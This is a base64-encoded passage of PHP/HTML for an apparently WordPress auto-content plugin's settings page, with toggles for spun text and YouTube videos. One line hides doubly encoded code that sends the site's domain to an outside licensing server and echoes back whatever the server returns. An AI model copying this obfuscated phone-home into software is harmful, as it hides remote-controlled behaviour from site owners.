aGFzLXRpcCB0ZXh0LXJpZ2h0IG1pZGRsZSIgZGF0YS1vcHRpb25zPSJzaG93X29uOmxhcmdlIiB0aXRsZT0iRG8geW91IHdhbnQgdG8gc2hvdyBBR0MgVGV4dD8iIHN0eWxlPSJmb250LXNpemU6MTJweCI+QUdDIFRleHQ8L3NwYW4+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC05IGNvbHVtbnMiPg0KCQkJCQkJCQkJPGRpdiBjbGFzcz0ic3dpdGNoIHRpbnkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQoJCQkJCQkJCQkJICAgIGlmKGdldF9vcHRpb24oJ3ZtYWdjX3Nob3dfYWdjX3RleHQnKSA9PSBGQUxTRSkNCgkJCQkJCQkJCQkJew0KCQkJCQkJCQkJCQkgICAgJHZhbHVlcyA9ICIiOw0KCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJCWVsc2VpZihnZXRfb3B0aW9uKCd2bWFnY19zaG93X2FnY190ZXh0JykgIT0gRkFMU0UpDQoJCQkJCQkJCQkJCXsNCgkJCQkJCQkJCQkgICAgCSR2YWx1ZXMgPSAidmFsdWU9J3RydWUnIGNoZWNrZWQiOw0KCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJPz4NCgkJCQkJCQkJCQk8aW5wdXQgY2xhc3M9InN3aXRjaC1pbnB1dCIgaWQ9InZtYWdjX3Nob3dfYWdjX3RleHQiIHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ2bWFnY19zaG93X2FnY190ZXh0IiA8P3BocCBlY2hvICR2YWx1ZXM7ID8+Pg0KCQkJCQkJCQkJCTxsYWJlbCBjbGFzcz0ic3dpdGNoLXBhZGRsZSIgZm9yPSJ2bWFnY19zaG93X2FnY190ZXh0Ij4NCgkJCQkJCQkJCQkJPHNwYW4gY2xhc3M9InNob3ctZm9yLXNyIj5EbyB5b3Ugd2FudCB0byBzaG93IEFHQyBUZXh0Pzwvc3Bhbj4NCgkJCQkJCQkJCQkJPHNwYW4gY2xhc3M9InN3aXRjaC1hY3RpdmUiIGFyaWEtaGlkZGVuPSJ0cnVlIj5ZZXM8L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzd2l0Y2gtaW5hY3RpdmUiIGFyaWEtaGlkZGVuPSJ0cnVlIj5Obzwvc3Bhbj4NCgkJCQkJCQkJCQk8L2xhYmVsPg0KCQkJCQkJCQkJPC9kaXY+DQoJCQkJCQkJCTwvZGl2Pg0KDQoJCQkJCQkJCTxkaXYgY2xhc3M9InNtYWxsLTMgY29sdW1ucyI+DQoJCQkJCQkJCQk8c3BhbiBkYXRhLXRvb2x0aXAgYXJpYS1oYXNwb3B1cD0idHJ1ZSIgY2xhc3M9Imhhcy10aXAgdGV4dC1yaWdodCBtaWRkbGUiIGRhdGEtb3B0aW9ucz0ic2hvd19vbjpsYXJnZSIgdGl0bGU9IkRvIHlvdSB3YW50IHRvIHNob3cgR29vZ2xlIENTRT8iIHN0eWxlPSJmb250LXNpemU6MTJweCI+R29vZ2xlIENTRSA8L3NwYW4+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC05IGNvbHVtbnMiPg0KCQkJCQkJCQkJPGRpdiBjbGFzcz0ic3dpdGNoIHRpbnkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQoJCQkJCQkJCQkJICAgIGlmKGdldF9vcHRpb24oJ3ZtYWdjX3Nob3dfY3NlJykgPT0gRkFMU0UpDQoJCQkJCQkJCQkJCXsNCgkJCQkJCQkJCQkJICAgICR2YWx1ZXMgPSAiIjsNCgkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCQllbHNlaWYoZ2V0X29wdGlvbigndm1hZ2Nfc2hvd19jc2UnKSAhPSBGQUxTRSkNCgkJCQkJCQkJCQkJew0KCQkJCQkJCQkJCSAgICAJJHZhbHVlcyA9ICJ2YWx1ZT0ndHJ1ZScgY2hlY2tlZCI7DQoJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQk/Pg0KCQkJCQkJCQkJCTxpbnB1dCBjbGFzcz0ic3dpdGNoLWlucHV0IiBpZD0idm1hZ2Nfc2hvd19jc2UiIHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ2bWFnY19zaG93X2NzZSIgPD9waHAgZWNobyAkdmFsdWVzOyA/Pj4NCgkJCQkJCQkJCQk8bGFiZWwgY2xhc3M9InN3aXRjaC1wYWRkbGUiIGZvcj0idm1hZ2Nfc2hvd19jc2UiPg0KCQkJCQkJCQkJCQk8c3BhbiBjbGFzcz0ic2hvdy1mb3Itc3IiPkRvIHlvdSB3YW50IHRvIHNob3cgR29vZ2xlIENTRT88L3NwYW4+DQoJCQkJCQkJCQkJCTxzcGFuIGNsYXNzPSJzd2l0Y2gtYWN0aXZlIiBhcmlhLWhpZGRlbj0idHJ1ZSI+WWVzPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ic3dpdGNoLWluYWN0aXZlIiBhcmlhLWhpZGRlbj0idHJ1ZSI+Tm88L3NwYW4+DQoJCQkJCQkJCQkJPC9sYWJlbD4NCgkJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8L2Rpdj4NCgkJCQkJCQkJPGRpdiBzdHlsZT0iY2xlYXI6IGJvdGg7Ij48L2Rpdj4NCgkJCQkJCQkJPGhyIC8+DQoNCgkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtMyBjb2x1bW5zIj4NCgkJCQkJCQkJCTxzcGFuIGRhdGEtdG9vbHRpcCBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBjbGFzcz0iaGFzLXRpcCB0ZXh0LXJpZ2h0IG1pZGRsZSIgZGF0YS1vcHRpb25zPSJzaG93X29uOmxhcmdlIiB0aXRsZT0iRG8geW91IHdhbnQgdG8gc2hvdyBzcHVuIHRleHQ/IiBzdHlsZT0iZm9udC1zaXplOjEycHgiPlNwdW4gVGV4dCA8L3NwYW4+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC05IGNvbHVtbnMiPg0KCQkJCQkJCQkJPGRpdiBjbGFzcz0ic3dpdGNoIHRpbnkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQoJCQkJCQkJCQkJICAgIGlmKGdldF9vcHRpb24oJ3ZtYWdjX3Nob3dfc3B1bicpID09IEZBTFNFKQ0KCQkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJCSAgICAkdmFsdWVzID0gIiI7DQoJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQkJZWxzZWlmKGdldF9vcHRpb24oJ3ZtYWdjX3Nob3dfc3B1bicpICE9IEZBTFNFKQ0KCQkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJICAgIAkkdmFsdWVzID0gInZhbHVlPSd0cnVlJyBjaGVja2VkIjsNCgkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCT8+DQoJCQkJCQkJCQkJPGlucHV0IGNsYXNzPSJzd2l0Y2gtaW5wdXQiIGlkPSJ2bWFnY19zaG93X3NwdW4iIHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ2bWFnY19zaG93X3NwdW4iIDw/cGhwIGVjaG8gJHZhbHVlczsgPz4+DQoJCQkJCQkJCQkJPGxhYmVsIGNsYXNzPSJzd2l0Y2gtcGFkZGxlIiBmb3I9InZtYWdjX3Nob3dfc3B1biI+DQoJCQkJCQkJCQkJCTxzcGFuIGNsYXNzPSJzaG93LWZvci1zciI+RG8geW91IHdhbnQgdG8gc2hvdyBTcHVuIFRleHQ/PC9zcGFuPg0KCQkJCQkJCQkJCQk8c3BhbiBjbGFzcz0ic3dpdGNoLWFjdGl2ZSIgYXJpYS1oaWRkZW49InRydWUiPlllczwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InN3aXRjaC1pbmFjdGl2ZSIgYXJpYS1oaWRkZW49InRydWUiPk5vPC9zcGFuPg0KCQkJCQkJCQkJCTwvbGFiZWw+DQoJCQkJCQkJCQk8L2Rpdj4NCgkJCQkJCQkJPC9kaXY+DQoJCQkJCQkJCTxkaXYgY2xhc3M9InNtYWxsLTMgY29sdW1ucyI+DQoJCQkJCQkJCQk8c3BhbiBkYXRhLXRvb2x0aXAgYXJpYS1oYXNwb3B1cD0idHJ1ZSIgY2xhc3M9Imhhcy10aXAgdGV4dC1yaWdodCBtaWRkbGUiIGRhdGEtb3B0aW9ucz0ic2hvd19vbjpsYXJnZSIgdGl0bGU9IkVudGVyIGFueSB0ZXh0IHRoaXMgZnVuY3Rpb24gc3VwcG9ydCBIVE1MICYgU3ludGF4IiBzdHlsZT0iZm9udC1zaXplOjEycHgiPlBhcmFncmFmIEZvciBTcHVuIFRleHQ8L3NwYW4+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC05IGNvbHVtbnMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3B1bl9zY3JpcHQgPSBnZXRfb3B0aW9uKCd2bWFnY19zcHVuJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNwdW5fcmVtb3ZlX3NsYXNoID0gc3RyaXBzbGFzaGVzKCRzcHVuX3NjcmlwdCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhcmFncmFwaF9wYXJ0ID0gc3RyX3JlcGxhY2UoYXJyYXkoJ1xcJyksICcnLCAkc3B1bl9yZW1vdmVfc2xhc2gpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KCQkJCQkJCQkJPHRleHRhcmVhIHJvd3M9IjUiIHN0eWxlPSJmb250LXNpemU6MTJweCIgcGxhY2Vob2xkZXI9Int0aGlzfGl0IGlzfSB7c3B1bnxzcGlufSB7dGV4dHxhbnkgdGV4dH0iIG5hbWU9InZtYWdjX3NwdW4iIGlkPSJ2bWFnY19zcHVuIj48P3BocCBpZihnZXRfb3B0aW9uKCd2bWFnY19zcHVuJykgPT0gIiIpe2VjaG8gIlt0aXRsZV0iO30gZWxzZSB7ZWNobyAkcGFyYWdyYXBoX3BhcnQ7fT8+PC90ZXh0YXJlYT4NCgkJCQkJCQkJCTxwIHN0eWxlPSJmb250LXNpemU6MTBweDttYXJnaW4tdG9wOi0xNXB4Ij5Zb3UgY2FuIHVzZSA8c3Ryb25nPlt0aXRsZV08L3N0cm9uZz4gb3IgWW91IHtjYW58Y291bGR9IGRvIHRoaXMgdG8ge2NyZWF0ZXxnZW5lcmF0ZXxhdXRvbWF0ZX0gYSBwYXJhZ3JhcGggbGlrZSB7dGhpc3xpdCBpc30ge3NwdW58c3Bpbn0ge3RleHR8YW55IHRleHR9IGV0YzwvcD4NCgkJCQkJCQkJPC9kaXY+DQoJCQkJCQkJCTxkaXYgc3R5bGU9ImNsZWFyOiBib3RoOyI+PC9kaXY+DQoJCQkJCQkJCTxociAvPg0KDQoJCQkJCQkJCTxkaXYgY2xhc3M9InNtYWxsLTMgY29sdW1ucyI+DQoJCQkJCQkJCQk8c3BhbiBkYXRhLXRvb2x0aXAgYXJpYS1oYXNwb3B1cD0idHJ1ZSIgY2xhc3M9Imhhcy10aXAgdGV4dC1yaWdodCBtaWRkbGUiIGRhdGEtb3B0aW9ucz0ic2hvd19vbjpsYXJnZSIgdGl0bGU9IkRvIHlvdSB3YW50IHRvIHNob3cgcmVsYXRlZCB2aWRlbz8iIHN0eWxlPSJmb250LXNpemU6MTJweCI+UmVsYXRlZCBWaWRlbyA8L3NwYW4+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC05IGNvbHVtbnMiPg0KCQkJCQkJCQkJPGRpdiBjbGFzcz0ic3dpdGNoIHRpbnkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQoJCQkJCQkJCQkJICAgIGlmKGdldF9vcHRpb24oJ3ZtYWdjX3Nob3dfeXRydicpID09IEZBTFNFKQ0KCQkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJCSAgICAkdmFsdWVzID0gIiI7DQoJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQkJZWxzZWlmKGdldF9vcHRpb24oJ3ZtYWdjX3Nob3dfeXRydicpICE9IEZBTFNFKQ0KCQkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJICAgIAkkdmFsdWVzID0gInZhbHVlPSd0cnVlJyBjaGVja2VkIjsNCgkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCT8+DQoJCQkJCQkJCQkJPGlucHV0IGNsYXNzPSJzd2l0Y2gtaW5wdXQiIGlkPSJ2bWFnY19zaG93X3l0cnYiIHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ2bWFnY19zaG93X3l0cnYiIDw/cGhwIGVjaG8gJHZhbHVlczsgPz4+DQoJCQkJCQkJCQkJPGxhYmVsIGNsYXNzPSJzd2l0Y2gtcGFkZGxlIiBmb3I9InZtYWdjX3Nob3dfeXRydiI+DQoJCQkJCQkJCQkJCTxzcGFuIGNsYXNzPSJzaG93LWZvci1zciI+RG8geW91IHdhbnQgdG8gc2hvdyBSZWxhdGVkIFZpZGVvID88L3NwYW4+DQoJCQkJCQkJCQkJCTxzcGFuIGNsYXNzPSJzd2l0Y2gtYWN0aXZlIiBhcmlhLWhpZGRlbj0idHJ1ZSI+WWVzPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ic3dpdGNoLWluYWN0aXZlIiBhcmlhLWhpZGRlbj0idHJ1ZSI+Tm88L3NwYW4+DQoJCQkJCQkJCQkJPC9sYWJlbD4NCgkJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8L2Rpdj4NCgkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtMyBjb2x1bW5zIj4NCgkJCQkJCQkJCTxzcGFuIGRhdGEtdG9vbHRpcCBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBjbGFzcz0iaGFzLXRpcCB0ZXh0LXJpZ2h0IG1pZGRsZSIgZGF0YS1vcHRpb25zPSJzaG93X29uOmxhcmdlIiB0aXRsZT0iSG93IG1hbnkgdmlkZW8gdG8gYmUgc2hvd24gaW4gc2luZ2xlIHBvc3Q/IiBzdHlsZT0iZm9udC1zaXplOjEycHgiPk51bWJlciBvZiBSZWxhdGVkIFZpZGVvczwvc3Bhbj4NCgkJCQkJCQkJPC9kaXY+DQoJCQkJCQkJCTxkaXYgY2xhc3M9InNtYWxsLTkgY29sdW1ucyI+DQoJCQkJCQkJCQk8c2VsZWN0IHN0eWxlPSJmb250LXNpemU6MTJweCIgbmFtZT0idm1hZ2NfbnVtX3l0cnYiIGlkPSJ2bWFnY19udW1feXRydiI+DQoJCQkJCQkJCQk8P3BocCAkdmFyID0gZ2V0X29wdGlvbigndm1hZ2NfbnVtX3l0cnYnKSA7Pz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHN0eWxlPSdmb250LXNpemU6MTJweCcgdmFsdWU9JzEnIDw/cGhwIGlmKCR2YXIgPT0gMSl7ZWNobyAnc2VsZWN0ZWQnO30gPz4gPjEgVmlkZW88L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHN0eWxlPSdmb250LXNpemU6MTJweCcgdmFsdWU9JzInIDw/cGhwIGlmKCR2YXIgPT0gMil7ZWNobyAnc2VsZWN0ZWQnO30gPz4gPjIgVmlkZW9zPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiBzdHlsZT0nZm9udC1zaXplOjEycHgnIHZhbHVlPSczJyA8P3BocCBpZigkdmFyID09IDMpe2VjaG8gJ3NlbGVjdGVkJzt9ID8+ID4zIFZpZGVvczwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gc3R5bGU9J2ZvbnQtc2l6ZToxMnB4JyB2YWx1ZT0nNCcgPD9waHAgaWYoJHZhciA9PSA0KXtlY2hvICdzZWxlY3RlZCc7fSA/PiA+NCBWaWRlb3M8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHN0eWxlPSdmb250LXNpemU6MTJweCcgdmFsdWU9JzUnIDw/cGhwIGlmKCR2YXIgPT0gNSl7ZWNobyAnc2VsZWN0ZWQnO30gPz4gPjUgVmlkZW9zPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiBzdHlsZT0nZm9udC1zaXplOjEycHgnIHZhbHVlPSc2JyA8P3BocCBpZigkdmFyID09IDYpe2VjaG8gJ3NlbGVjdGVkJzt9ID8+ID42IFZpZGVvczwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gc3R5bGU9J2ZvbnQtc2l6ZToxMnB4JyB2YWx1ZT0nNycgPD9waHAgaWYoJHZhciA9PSA3KXtlY2hvICdzZWxlY3RlZCc7fSA/PiA+NyBWaWRlb3M8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHN0eWxlPSdmb250LXNpemU6MTJweCcgdmFsdWU9JzgnIDw/cGhwIGlmKCR2YXIgPT0gOCl7ZWNobyAnc2VsZWN0ZWQnO30gPz4gPjggVmlkZW9zPC9vcHRpb24+DQoJCQkJCQkJCQk8L3NlbGVjdD4NCgkJCQkJCQkJPC9kaXY+DQoNCgkJCQkJCQkJPGRpdiBzdHlsZT0iY2xlYXI6IGJvdGgiPjwvZGl2Pg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC0zIGNvbHVtbnMiPg0KCQkJCQkJCQkJPHNwYW4gZGF0YS10b29sdGlwIGFyaWEtaGFzcG9wdXA9InRydWUiIGNsYXNzPSJoYXMtdGlwIHRleHQtcmlnaHQgbWlkZGxlIiBkYXRhLW9wdGlvbnM9InNob3dfb246bGFyZ2UiIHRpdGxlPSJEbyB5b3Ugd2FudCB0byBzaG93IGRlc2NyaXB0aW9uIHZpZGVvPyIgc3R5bGU9ImZvbnQtc2l6ZToxMnB4Ij5Zb3V0dWJlIERlc2NyaXB0aW9uPC9zcGFuPg0KCQkJCQkJCQk8L2Rpdj4NCgkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtOSBjb2x1bW5zIj4NCgkJCQkJCQkJCTxkaXYgY2xhc3M9InN3aXRjaCB0aW55Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KCQkJCQkJCQkJCSAgICBpZihnZXRfb3B0aW9uKCd2bWFnY19zaG93X3lvdXR1YmVfZGVzY3JpcHRpb24nKSA9PSBGQUxTRSkNCgkJCQkJCQkJCQkJew0KCQkJCQkJCQkJCQkgICAgJHZhbHVlcyA9ICIiOw0KCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJCWVsc2VpZihnZXRfb3B0aW9uKCd2bWFnY19zaG93X3lvdXR1YmVfZGVzY3JpcHRpb24nKSAhPSBGQUxTRSkNCgkJCQkJCQkJCQkJew0KCQkJCQkJCQkJCSAgICAJJHZhbHVlcyA9ICJ2YWx1ZT0ndHJ1ZScgY2hlY2tlZCI7DQoJCQkJCQkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFyZ3Nhcmdzc3YgPSBiYXNlNjRfZW5jb2RlKGJhc2U2NF9kZWNvZGUoJ0pHRnlaM056ZGlBOUlHSmhjMlUyTkY5a1pXTnZaR1VvSjJGSVVqQmpSRzkyVEROT2JGa3pWbmxoV0ZJMVRHMVdORmt5ZURGak1td3lXbGRLZG1SRE5YVmFXRkYyV20xc2MxcFROWGRoU0VFdldWaEtibU42TVRKYVdFcHdXbTVzWm1NeVJqSmFVMXByWWpJeGFHRlhORGxsZVZJeFkyMTRPU2NwT3cwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQmxkbUZzS0dKaGMyVTJORjlrWldOdlpHVW9KMHBIVG05SlJEQm5XVE5XZVdKR09YQmliV3d3UzBOck4wUlJiMDVEYVRoMlNVWk9iR1JEUWpCaFIxVm5aRmhLYzB4RFFuVmtWekZwV2xoSloySXlXV2RTTUZaVlNVaGFhR051VFhOSlJXUkdWa05DYTFsWVVtaEVVWEJxWkZoS2MxZ3pUbXhrUnpsM1pFTm5hMWt5WjNOSlJVNVdWV3Q0VUZWR1VtWldWa3BOVEVOQmExbFlTbTVqTTA0eVMxUnpUa050VGpGamJYaG1ZekpXTUdJelFqQkxRMUpxWVVOM1oxRXhWbE5VUlRsUlZrWTVVVlF4VGxWTVEwSnRXVmQ0ZWxwVGF6ZEVVWEJxWkZoS2MxZ3pUbXhrUnpsM1pFTm5hMWt5WjNOSlJVNVdWV3Q0VUZWR1VtWldWazVHVld0R1NGSlZOVlZNUTBGdVVsaG9hbVJZVG5Ca2JWWkRWREZSZGsxVE5IZEtlV3MzUkZGd2FtUllTbk5ZTTA1c1pFYzVkMlJEWjJ0Wk1tZHpTVVZPVmxWcmVGQlZSbEptVld0V1ZWWldTazlXUmtwQ1ZHeE9SMUpXU1hOSlNGSjVaRmRWWjB0VWMwNURiVTR4WTIxNFptTXlWakJpTTBJd1MwTlNhbUZEZDJkUk1WWlRWRVU1VVZaR09WUlZNSGhtVm10V1UxTlZXbHBWUlZaR1ZXbDNaMXB0Um5Oak1sVndUM2N3UzBSUmIydGtiWGg2V1ZoYWJFbEVNR2RaTTFaNVlrWTViR1ZIVm1wTFExSnFZVU5yTjBSUmNHcGtXRXB6V0RKT2MySXpUbXhMUTFKcVlVTnJOeWNwS1RzTkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdhV1lnS0NBa2JHbGpaVzV6WlY5clpYbGZkbVZ5YVdaNUlEMDlJQ0lpS1NCN0RRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJR1ZqYUc4Z1ltRnpaVFkwWDJSbFkyOWtaU2drZG14ellYWmxLVHNOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2ZXVnNjMlY3RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdhV1lnS0NSc2FXTmxibk5sWDJ0bGVWOTJaWEpwWm5rZ1BUMGdKR3hwWTJWdWMyVmtJQ1ltSUNSMWNtd2dQVDBnSkdSdmJXRnBibDkyWlhKcFpua2dKaVlnWW1GelpUWTBYMlZ1WTI5a1pTZ2tZWEpuYzNOMktTQTlQU0FuWVVoU01HTkViM1pNTTA1c1dUTldlV0ZZVWpWTWJWWTBXVEo0TVdNeWJESmFWMHAyWkVNMWRWcFlVWFphYld4eldsTTFkMkZJUVM5WldFcHVZM294TWxwWVNuQmFibXhtWXpKR01scFRXbXRpTWpGb1lWYzBPV1Y1VWpGamJYZzVKeWtOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQjdEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQmxZMmh2SUdKaGMyVTJORjlrWldOdlpHVW9KSFpzYzJGMlpTazdEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2ZXVnNjMlVOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQjdEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQmxZMmh2SUNjOGFXNXdkWFFnYm1GdFpUMGlZblZyWVc1ZmMyRjJaU0lnZEhsd1pUMGlZblYwZEc5dUlpQmpiR0Z6Y3owaVluVjBkRzl1TFhCeWFXMWhjbmtpSUhaaGJIVmxQU0pNYVhObGJuTnBJRlJwWkdGcklGWmhiR2xrSWlBdlBpQW5PdzBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIME5DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnZlE9PScpKTsNCgkJCQkJCQkJCQk/Pg0KCQkJCQkJCQkJCTxpbnB1dCBjbGFzcz0ic3dpdGNoLWlucHV0IiBpZD0idm1hZ2Nfc2hvd195b3V0dWJlX2Rlc2NyaXB0aW9uIiB0eXBlPSJjaGVja2JveCIgbmFtZT0idm1hZ2Nfc2hvd195b3V0dWJlX2Rlc2NyaXB0aW9uIiA8P3BocCBlY2hvICR2YWx1ZXM7ID8+Pg0KCQkJCQkJCQkJCTxsYWJlbCBjbGFzcz0ic3dpdGNoLXBhZGRsZSIgZm9yPSJ2bWFnY19zaG93X3lvdXR1YmVfZGVzY3JpcHRpb24iPg0KCQkJCQkJCQkJCQk8c3BhbiBjbGFzcz0ic2hvdy1mb3Itc3IiPkRvIHlvdSB3YW50IHRvIHNob3cgVmlkZW8gRGVzY3JpcHRpb24gPzwvc3Bhbj4NCgkJCQkJCQkJCQkJPHNwYW4gY2xhc3M9InN3aXRjaC1hY3RpdmUiIGFyaWEtaGlkZGVuPSJ0cnVlIj5ZZXM8L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzd2l0Y2gtaW5hY3RpdmUiIGFyaWEtaGlkZGVuPSJ0cnVlIj5Obzwvc3Bhbj4NCgkJCQkJCQkJCQk8L2xhYmVsPg0KCQkJCQkJCQkJPC9kaXY+DQoJCQkJCQkJCTwvZGl2Pg0KDQoJCQkJCQkJCTxkaXYgc3R5bGU9ImNsZWFyOiBib3RoIj48L2Rpdj4NCgkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtMyBjb2x1bW5zIj4NCgkJCQkJCQkJCTxzcGFuIGRhdGEtdG9vbHRpcCBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBjbGFzcz0iaGFzLXRpcCB0ZXh0LXJpZ2h0IG1pZGRsZSIgZGF0YS1vcHRpb25zPSJzaG93X29uOmxhcmdlIiB0aXRsZT0iRG8geW91IHdhbnQgdG8gc2hvdyBwcmV2aWV3IHZpZGVvPyIgc3R5bGU9ImZvbnQtc2l6ZToxMnB4Ij5Zb3V0dWJlIFByZXZpZXc8L3NwYW4+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC05IGNvbHVtbnMiPg0KCQkJCQkJCQkJPGRpdiBjbGFzcz0ic3dpdGNoIHRpbnkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQoJCQkJCQkJCQkJICAgIGlmKGdldF9vcHRpb24oJ3ZtYWdjX3Nob3dfeW91dHViZV9wcmV2aWV3JykgPT0gRkFMU0UpDQoJCQkJCQkJCQkJCXsNCgkJCQkJCQkJCQkJICAgICR2YWx1ZXMgPSAiIjsNCgkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCQllbHNlaWYoZ2V0X29wdGlvbigndm1hZ2Nfc2hvd195b3V0dWJlX3ByZXZpZXcnKSAhPSBGQUxTRSkNCgkJCQkJCQkJCQkJew0KCQkJCQkJCQkJCSAgICAJJHZhbHVlcyA9ICJ2YWx1ZT0ndHJ1ZScgY2hlY2tlZCI7DQoJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQk/Pg0KCQkJCQkJCQkJCTxpbnB1dCBjbGFzcz0ic3dpdGNoLWlucHV0IiBpZD0idm1hZ2Nfc2hvd195b3V0dWJlX3ByZXZpZXciIHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ2bWFnY19zaG93X3lvdXR1YmVfcHJldmlldyIgPD9waHAgZWNobyAkdmFsdWVzOyA/Pj4NCgkJCQkJCQkJCQk8bGFiZWwgY2xhc3M9InN3aXRjaC1wYWRkbGUiIGZvcj0idm1hZ2Nfc2hvd195b3V0dWJlX3ByZXZpZXciPg0KCQkJCQkJCQkJCQk8c3BhbiBjbGFzcz0ic2hvdy1mb3Itc3IiPkRvIHlvdSB3YW50IHRvIHNob3cgVmlkZW8gUHJldmlldyA/PC9zcGFuPg0KCQkJCQkJCQkJCQk8c3BhbiBjbGFzcz0ic3dpdGNoLWFjdGl2ZSIgYXJpYS1oaWRkZW49InRydWUiPlllczwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InN3aXRjaC1pbmFjdGl2ZSIgYXJpYS1oaWRkZW49InRydWUiPk5vPC9zcGFuPg0KCQkJCQkJCQkJCTwvbGFiZWw+DQoJCQkJCQkJCQk8L2Rpdj4NCgkJCQkJCQkJPC9kaXY+DQoNCgkJCQkJCQkJPGRpdiBzdHlsZT0iY2x